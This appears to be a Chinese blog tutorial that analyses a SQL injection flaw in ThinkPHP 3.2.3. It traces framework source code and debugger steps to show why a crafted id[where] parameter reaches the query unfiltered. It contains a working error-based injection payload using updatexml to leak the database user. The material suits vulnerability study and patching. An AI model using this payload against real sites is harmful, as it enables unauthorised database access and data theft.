您好,欢迎访问一九零五行业门户网

一起聊聊thinkPHP3.2.3中sql注入漏洞

本篇文章给大家带来了关于thinkphp的相关知识,其中主要介绍了thinkphp3.2.3sql注入漏洞的相关问题,其中还包括了m方法、d方法、u方法等相关内容,希望对大家有帮助。
推荐学习:《php视频教程》
前言攻敌所必救:thinkphp中的常用方法汇总总结:m方法,d方法,u方法,i方法
thinkphp3.2.3 安全开发须知
搭建:
首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!!
创建数据库,表名一定与你接下来要m的名字的相对应
连接数据库的文件不多说了,自己配置:thinkphp/conf/convention.php
配置控制器:\www\thinkphp3.2.3\application\home\controller\indexcontroller.class.php
<?phpnamespace home\controller;use think\controller;class indexcontroller extends controller { public function index(){ $this->show('原来内容已经省略,太占地方'); $data = m('user')->find(i('get.id')); var_dump($data); }}
测试:
正文payload:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
确实报错注入成功,一切都是因为这句代码的存在:$data = m('user')->find(i('get.id'));
i和m方法都没有什么问题,真正的问题在于
find 方法上,来自/thinkphp/mode/lite/model.class.php public function find($options=array()) {           // 根据复合主键查找记录        $pk  =  $this->getpk();        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里            // 根据复合主键查询            $count = 0;            foreach (array_keys($options) as $key) {                if (is_int($key)) $count++;             }             if ($count == count($pk)) {                $i = 0;                foreach ($pk as $field) {                    $where[$field] = $options[$i];                    unset($options[$i++]);                }                $options['where']  =  $where;            } else {                return false;            }        }        // 总是查找一条记录        $options['limit']   =   1;        // 分析表达式        $options            =   $this->_parseoptions($options);//前面都没有什么影响,重点是这里的函数调用      $resultset          =   $this->db->select($options);//重要的一步
2._parseoptions:因为主要针对options[where]所以无关代码我全删除了
/thinkphp/library/think/model.class.php
protected function _parseoptions($options=array()) {        if(is_array($options))            $options =  array_merge($this->options,$options);        // 字段类型验证        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])            // 对数组查询条件进行字段类型检查            foreach ($options['where'] as $key=>$val){                $key            =   trim($key);                if(in_array($key,$fields,true)){                    if(is_scalar($val)) {                        $this->_parsetype($options['where'],$key);                    }                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){                    if(!empty($this->options['strict'])){                        e(l('_error_query_express_').':['.$key.'=>'.$val.']');                    }                     unset($options['where'][$key]);                }            }        }    //上面均没用,到现在开始有用:?        // 查询过后清空sql表达式组装 避免影响下次查询        $this->options  =   array();        // 表达式过滤        $this->_options_filter($options);//这里值得注意        return $options;    }
3._options_filter
到这就无了
而且上面的操作也会清零 $options,所以这里可能是进错了
所以更正第二部的跟踪,改为
2.select:/thinkphp/library/think/db/driver.class.php
public function select($options=array()) {        $this->model  =   $options['model'];        $this->parsebind(!empty($options['bind'])?$options['bind']:array());        $sql    = $this->buildselectsql($options);        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);        return $result;    }
3.buildselectsql:地址同上
public function buildselectsql($options=array()) {        if(isset($options['page'])) {            // 根据页数计算limit            list($page,$listrows)   =   $options['page'];            $page    =  $page>0 ? $page : 1;            $listrows=  $listrows>0 ? $listrows : (is_numeric($options['limit'])?$options['limit']:20);            $offset  =  $listrows*($page-1);            $options['limit'] =  $offset.','.$listrows;        }        $sql  =   $this->parsesql($this->selectsql,$options);        return $sql;    }
4.parsesql:地址同上
public function parsesql($sql,$options=array()){        $sql   = str_replace(            array('%table%','%distinct%','%field%','%join%','%where%','%group%','%having%','%order%','%limit%','%union%','%lock%','%comment%','%force%'),            array(                $this->parsetable($options['table']),                $this->parsedistinct(isset($options['distinct'])?$options['distinct']:false),                $this->parsefield(!empty($options['field'])?$options['field']:'*'),                $this->parsejoin(!empty($options['join'])?$options['join']:''),                $this->parsewhere(!empty($options['where'])?$options['where']:''),                $this->parsegroup(!empty($options['group'])?$options['group']:''),                $this->parsehaving(!empty($options['having'])?$options['having']:''),                $this->parseorder(!empty($options['order'])?$options['order']:''),                $this->parselimit(!empty($options['limit'])?$options['limit']:''),                $this->parseunion(!empty($options['union'])?$options['union']:''),                $this->parselock(isset($options['lock'])?$options['lock']:false),                $this->parsecomment(!empty($options['comment'])?$options['comment']:''),                $this->parseforce(!empty($options['force'])?$options['force']:'')            ),$sql);        return $sql;    }
5.parsewhere:同上
protected function parsewhere($where) {        $wherestr = '';        if(is_string($where)) {//直接满足,直接进入            // 直接使用字符串条件            $wherestr = $where;        }else{ // 使用数组表达式        }            return empty($wherestr)?'':' where '.$wherestr;}
最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
然后
$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
整个过程没有任何过滤,seay分析thinkphp太飞费劲了
phpstorm断点审计:payload不变:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
还是跟踪find函数:
跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数
经核实,步入到了另一个函数中:
继续跟踪buildselectsql:
继续跟踪parsesql:
最后的代码变成了:
select * from user where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# limit 1
还是debug起来方便,基本不需要怎么动脑
推荐学习:《php视频教程》
以上就是一起聊聊thinkphp3.2.3中sql注入漏洞的详细内容。
其它类似信息

推荐信息